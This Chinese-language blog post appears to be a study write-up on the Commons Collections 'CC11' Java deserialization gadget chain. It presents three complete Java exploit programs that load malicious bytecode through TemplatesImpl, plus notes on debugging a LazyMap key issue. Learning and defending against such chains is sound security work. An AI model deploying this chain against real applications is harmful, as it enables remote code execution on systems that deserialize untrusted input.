前言
之前在学习CC2的时候,CC2是CC3+CC4改写的。
从图中就可以看出来,CC6也能走到TemplatesImpl,然后直接加载字节码。
CC2+CC6改写,就是CC11
CC11利用链
之前在Java反序列化CommonsCollections篇-CC3中提到利用ClassLoader#defineClass
直接加载字节码的方式,在这里可以直接使用。
其实这样的话,直接使用CC2加载恶意字节码的部分结合CC6前面调用的部分就可以组成这条链。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| public class Main { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InvokerTransformer("newTransformer", null,null)}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashmap = new HashMap<>(); Map<Object, Object> lazymap = LazyMap.decorate(hashmap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "v"); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "v"); lazymap.remove("v");
Class<LazyMap> c = LazyMap.class; Field factoryField = c.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazymap,chainedTransformer);
serialize(map2); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; } }
|
这条链最终也是可以改写成不带 Transformer 数组的链。
最终成型的CC11
这个 LazyMap#get
的参数 key,会被传进transform()
,实际上它可以扮演 ConstantTransformer 的角色——一个简单的对象传递者。
我们 LazyMap.get(key)
直接调用 InvokerTransfomer.transform(key)
,然后像CC2那样调用 TempalteImpl.newTransformer()
来完成后续调用。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
| public class Main { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object, Object> hashmap = new HashMap<>(); Map<Object, Object> lazymap = LazyMap.decorate(hashmap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "v"); lazymap.remove("v");
Class<LazyMap> c = LazyMap.class; Field declaredField = c.getDeclaredField("factory"); declaredField.setAccessible(true); declaredField.set(lazymap, invokerTransformer);
serialize(map2); unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; } }
|
踩坑记录
当时运行这段代码,可以运行,也没报错,但是计算机并不能弹出来,大体浏览了一边代码感觉没问题。当时卡在这里好久,只能慢慢调试。
直接在TemplatesImpl
加载恶意字节码的部分尝试templates.newTransformer()
,首先确定了TemplatesImpl
加载恶意字节码是能够触发的,那这部分没有问题
InvokerTransformer
调用的部分我想应该没有问题,那最有可能有问题的其实是Lazymap
,看了最上面的图,看到是调用了LazyMap.get(),直接下断点调试
其实和之前CC6的情况是一样的,当LazyMap没key的时候才会调用put()
,但是现在的key为templates
,结果为map.containsKey(key) == true
导致条件判断失败。
解决办法也很简单直接lazymap.clear();
或者lazymap.remove("templates");
(粗心大意导致浪费了很多时间)。
最终链子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map;
public class Main { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass(); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("C://Users//14341//Desktop/Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes);
Field tfactoryField = tc.getDeclaredField("_tfactory"); tfactoryField.setAccessible(true); tfactoryField.set(templates, new TransformerFactoryImpl());
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object, Object> hashmap = new HashMap<>(); Map<Object, Object> lazymap = LazyMap.decorate(hashmap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates); HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "v"); lazymap.remove(templates);
Class<LazyMap> c = LazyMap.class; Field declaredField = c.getDeclaredField("factory"); declaredField.setAccessible(true); declaredField.set(lazymap, invokerTransformer);
serialize(map2); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin")); oss.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object obj = ois.readObject(); return obj; } }
|
参考链接
CommonsCollections11利用链分析
Java反序列化Commons-Collections篇09-CC11链